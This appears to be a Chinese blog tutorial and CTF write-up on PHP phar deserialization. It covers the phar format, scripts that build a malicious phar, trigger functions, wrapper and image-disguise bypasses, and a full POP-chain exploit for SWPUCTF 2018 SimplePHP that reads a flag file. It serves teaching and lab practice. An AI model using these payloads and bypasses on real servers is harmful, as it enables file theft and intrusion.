认识phar
phar是什么?简单来说就是把php压缩而成的打包文件,无需解压,可以通过phar://协议直接读取内容,如果学过java的朋友应该知道jar文件,和那个可以说是很像了。为什么可以在序列化和反序列化的点上利用?这和phar中的meta-data有很大的关系,meta-data 是以序列化的形式存储的,那么,如果当phar文件以流的形式被打开会进行一次反序列化,简单来说就是phar://协议会触发反序列化。这个后面慢慢说,一个phar文件的结构有四个部分:
1.stub: phar文件的标识,以xxxxx<?php xxx; __HALT_COMPILER();?>为固定格式,前面的可以不管,但是必须得以__HALT_COMPLIER();结尾phar文件扩展是通过这个识别phar文件,与gif图片格式中的GIF89a开头的固定格式是相同的道理。
生成文件的后缀名为phar。这种格式就相当于gif图片中的GIF89a一样。没有这个格式就不会识别这是一个phar文件。
————————————————
2. a manifest describing the contents:Phar文件中被压缩的文件的一些信息以及压缩文件的权限,其中Meta-data部分的信息会以序列化的形式储存,这里就是漏洞利用的关键点,我们构造的exp就放在这个部分内。
3.the file contents:这里放的是压缩文件内的内容,我们真正的目的是构造exp利用phar反序列化,所以这里的内容可以随便写,并不影响。
4.a signature for verifying Phar integrity:签名。放在最末,算是一个匹配符,将前面除了签名用SHA1、MD5或SHA256加密所有的内容后来匹配(可以百度了解更多)。在这里可能用不上,但是在phar反序列化配上GC回收机制的时候这个点会派上大用场。
phar伪协议
因为phar就是将多个文档压缩到一个文件当中,phar文件中的Mata-data会进行序列化,在我们访问phar文件中的文档时,我们不需要对它进行解压。可以通过phar://为协议对文件进行读取。当phar文件被解析时,Meta-data中的数据就会被反序列化。
构造phar文件
在本地生成一个phar文件,并想使用phar类里面的方法,就必须将php.ini配置文件中的phar.readonly改为0或者off(分号时注释,删掉)//记住要把分号删除,不然就会一直报错的。
这个phar压缩文件并不是右键点击一键生成的,而是通过写脚本来生成这个phar文件的。
接下来在本地实验生成phar文件。
<?php
class XiLitter{
public $str = "this is pig";
}
$a = new XiLitter();
$phar = new phar('a.phar');//对phar对象进行实例化,以便后续操作。
$phar -> startBuffering();//缓冲phar写操作(不用特别注意)
$phar -> setStub("<?php __HALT_COMPILER(); ?>");//设置stub,为固定格式
$phar -> setMetadata($a);//把我们的对象写进Metadata中
$phar -> addFromString("test.txt","helloworld!!");//写压缩文件的内容,这里没利用点,可以随便写
$phar -> stopBuffering();//停止缓冲
写完以后运行,发现目录下生成了一个a.phar文件
打开发现,自己定义的类被序列化了,说明这里可以利用反序列化漏洞
现在我们来验证一下用phar伪协议是否能自动进行反序列化
<?php
class XiLitter{
function __destruct()//对象在反序列化时自动触发
{
echo $this->str;//检验是否进行了反序列化
}
}
$filename = "phar://a.phar/test.txt";
echo(file_get_contents($filename));
运行可以看出Meta-data中的数据确实被反序列化了。
触发函数
fimeatime / filectime / filemtime
stat / fileinode / fileowner / filegroup / fileperms
file / file_get_contents / readfile / fopen
file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable
parse_ini_file
unlink
copy
绕过不允许phar://开头
compress.bzip://phar://a.phar/test1.txt
compress.bzip2://phar://a.phar/test1.txt
compress.zlib://phar://a.phar/test1.txt
php://filter/resource=phar://a.phar/test1.txt
php://filter/read=convert.base64-encode/resource=phar://a.phar/test1.txt
绕过图片
phar可以修改后缀,a.phar可以改成,a.png,a.gif,a.jpg
文件开头加GIF89a,伪装成gif文件
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
然后就是例题了,
[SWPUCTF 2018]SimplePHP
打开
发现界面这样,看见上传文件,感觉是一道文件上传的题目
查看file.php发现 文件又包含,function.php,class.php继续查看
打开class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
pop链表,这道题让我意识到运用phar的是,里面没有unserialize反序列化函数,
先构造,找链尾, Test 类中的$text = base64_encode(file_get_contents($value));
然后往前面看
public function __get($key)
{
return $this->get($key); 会调用下面的get函数
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value); 调用下面的
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
然后想如何调用,_get魔术方法, 是用到本类没有的方法会调用到
public function __toString() //show类中
{
$content = $this->str['str']->source;
return $content;
}
然后想如何调用_tostring方法, 输出字符串或者运用
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct() 反序列化自动调用,所以这就是链表头了,正好结束
{
$this->test = $this->str;
echo $this->test; 输出字符串的方法就会调用
}
}
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$c=new C1e4r();
$s=new Show();
$t=new Test();
$c->str=$s;
$s->str['str']=$t;
$t->params['source']="/var/www/html/f1ag.php";
$phar = new phar("a.phar"); //文件名
$phar->startBuffering();
/* 设置stub,必须要以__HALT_COMPILER(); ?>结尾 */
$phar->setStub("<?php __HALT_COMPILER(); ?>");
/* 添加要压缩的文件 */
$phar->setMetadata($c);
$phar->addFromString("test.txt","test1");
$phar->stopBuffering();
?>
$t->params['source']="/var/www/html/f1ag.php";
我在这遇到坑了,['source']是用引号,而不是$source
注:我们知道__get是当调用未定义的属性或没有权限访问的属性才触发,一旦触发那么这里的$key接受的就是那个未定义的属性,而不是值。
所以是params[‘source’]。
生成phar文件后,发现对文件后缀进行了限制。我们抓包修改phar文件后缀为jpg绕过,上传。
base64解码结束,